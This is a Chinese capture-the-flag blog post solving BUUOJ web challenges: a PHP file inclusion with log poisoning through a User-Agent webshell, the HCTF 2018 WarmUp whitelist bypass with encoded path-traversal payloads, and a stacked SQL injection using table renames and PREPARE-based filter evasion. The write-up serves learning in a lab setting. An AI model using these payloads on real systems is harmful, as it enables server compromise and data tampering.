北京聯合大學的oj,題目挺多的,趙師傅一直在推薦大家去buuoj玩,今天專門來耍一耍,跟趙師傅學ctf(其實根本不認識趙師傅只知道很強就對了)
LFI
題目太多了,隨便先找點簡單的做算了。。。(太菜了不敢先衝難題)
本地文件包含,訪問靶機直接給源碼
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/7/9
* Time: 7:07 AM
*/
highlight_file(__FILE__);
if(isset($_GET['file'])) {
$str = $_GET['file'];
include $_GET['file'];
}
說實話,一開始我是直接?file=flag
結果不行,不知道問什麼必須是?file=/flag
,可能是include_path
的問題?windows和linux可能也有一定區別,我在本地的phpstudy中,無論?flie=flag
還是?file=\flag
(windows中的路徑使用反斜線分割)都可以成功包含
不知道是不是include_path
的問題,include_path
的作用類似於linux中的環境變量$PATH
參考了
buuoj LFI course
文件包含漏洞
原來LFI還能通過包含ngnix的日誌記錄來插入一句話木馬,漲姿勢了,如果日誌文件中有一句話,那麼就可以用菜刀連接了
?file=/var/log/nginx/access.log
所以可以在訪問靶機的時候在header中某個地方插入一句話,然後再訪問/var/log/nginx/access.log
就可以連接了。
本題我試了一下,我好像只能在user-agent
裏添加代碼(好菜)。
LSB
居然還能做到礦大的題,stegsolve直接選lsb,preview發現最前面有hex值89 50 4e 47
是PNG,保存爲png,有二維碼,掃碼出flag
[HCTF 2018]WarmUp
打開靶機鏈接後只有一張滑稽,右鍵查看源代碼,看到了html註釋<!--source.php-->
可以打開source.php
頁面,是題目的源碼,大致看一下,主要是通過get
方式傳入參數file
,如果是字符串並通過下面的函數檢查,如果返回true
,就可以包含傳入的這個參數,檢查函數代碼如下:
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//註釋1
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//註釋2
echo "you can't see it";
return false;
}
真心不會,百度了下題解
總之最後,這題是復現的phpmyadmin4.8.1的一個遠程文件包含漏洞,就是利用代碼中的mb_substr()
函數,在這個檢查函數中,是將傳入的參數截取?
之前的字符串保存爲$_page
,檢查$_page
是否在白名單中,看到這發現了,其實自己代碼審計的時候沒有仔細看,$_page
和$page
是不同的變量,雖然檢查的是$_page
,但是最後include
的還是$page
,所以只要$page
之中在?
前一部分在白名單中,依然可以返回true
而且根據hint.php
,flag在ffffllllaaaagggg
最後的payload:
?file=source.php?/../../../../../ffffllllaaaagggg
把?
換爲url編碼之後的%3f
,服務器會自動解析成?
,所以還可以有第二個payload:
?file=source.php%3f/../../../../../ffffllllaaaagggg
上面這兩個都是讓函數在註釋1處返回true
相關鏈接
warm up
warm up2
phpmyadmin 4.8.1 遠程文件包含漏洞
看到相關的文章,可以利用雙重編碼還有第三個payload:
?file=source.php%253f/../../../../../ffffllllaaaagggg
其中%25
解碼之後是%
,payload會讓函數在註釋2處返回true
[強網杯 2019]隨便注
buu上的復現題目,屏蔽了select
,真的頂不住了,百度了下題解,堆疊注入,我記得寫sql-libs的時候就考慮過,爲什麼注入語句不能有分號,原來加上分號就是堆疊注入,指的就查詢語句可以用分號分割
堆疊注入只適用於後端查詢函數爲mysqli_multi_query()
時,該函數可以進行多次查詢,而mysqli_query()
則只能進行一次查詢
堆疊注入原理
在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一起,兩者之間有什麼區別麼?區別就在於union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。例如以下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句爲:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢後,第一條顯示查詢信息,第二條則將整個表進行刪除。
————————————————
版權聲明:本文爲CSDN博主「戀物語戰場原」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_26406447/article/details/90643951
單引號閉合,井號註釋,然後可以用分號進行堆疊注入
-1';show databses;#
可以查數據庫
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}//爲了減小篇幅,這裏只展示部分結果
加上我用1' and length(databse())=9#
得到的結果,這裏用的數據庫應該是supersqli
;然後-1';show tables;#
可以查該數據庫中的表,如果用-1';show tables in XXX;#
可以查XXX
中的表,而且in
可以換成from
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查列名:
-1';show columns in `1919810931114514`;#/*注意如果表名爲純數字,必須用反引號包裹*/
desc table_name//使用這條命令也可以查看錶的結構
結果:
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}//只有一列flag
在mysql中的演示
mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| password | varchar(20) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.01 sec)
第一種方法
然後問題就是如何讀取flag了,真的是看各種大佬騷操作
大佬的思路:
- 把words表改名爲其他任意名字,然後把有flag的表改名爲words
- 往新的words表中插入一列,列名爲id(因爲原來的words表中的列是id和data,然後id爲主鍵,根據id的值查詢,如果沒有id列,就無法查詢出flag了)
- 如果後端查詢代碼是
select * from words whrere id='$id'
的話,就不用改flag列的名字了,而如果查詢語句是select id,data from words where id='$id'
的話,必須把flag也重命名爲data
payload:
-1';rename table words to word;rename table `1919810931114514` to words;/*重命名錶格*/alter table words add id int unsigned not Null auto_increment primary key;/*添加id列*/#
然後就可以直接輸入1查詢到flag了,如果查詢語句不一樣的話,還要alter table words change flag data varchar(100)
把flag列重命名爲data
總結一下學到的新操作
堆疊注入,相比聯合查詢注入能執行的操作更多,可以修改表名,可以修改表的結構等等
RENAME TABLE
old_name TO new_name
//將old_name表重命名爲new_name
ALTER TABLE table_name
ADD column_name datatype
//在table_name表中插入新的列column_name,數據類型爲datatype
ALTER TABLE table_name
ALTER COLUMN column_name datatype
//修改某一列的數據類型
ALTER TABLE table_name
CHANGE old_name new_name datatype
//把old_name列重命名爲new_name,注意必須有datatype參數
第二種方法
還有一種解法是預編譯命令,就是用一個字符串來保存查詢語句,然後執行
PREPARE
語句準備好一條SQL語句,並分配給這條SQL語句一個名字供之後調用。準備好的SQL語句通過EXECUTE
命令執行,通過DEALLOCATE PREPARE
命令釋放掉
語句的名字不區分大小寫。準備好的SQL語句名字可以是字符串,也可以是用戶指定的包含SQL文本的變量。PREPARE
中的SQL文本必須代表一條單獨的SQL語句而不能是多條SQL語句。在SQL語句中,?
字符用來作爲後面執行查詢使用的一個參數。?
不能加上引號,及時打算將它們綁定到字符變量中也不可以。
參考:mysql中Prepare、execute、deallocate的使用方法
set @a='select * from table';
prepare query from @a;
execute query; //可以直接取出table表
deallocate query //釋放該命令
//set @a=0x??????,可以用十六進制編碼,比較容易繞過過濾,注意字符串轉16進制的時候不要有空格,可用/**/代替
本題paylaod:
-1';sEt @a=concat('sele','ct * fro','m `1919810931114514`');Prepare b from @a;eXecute b;#
因爲本題檢測set
和prepare
等關鍵詞用的是strstr()
,所以可以用大寫繞過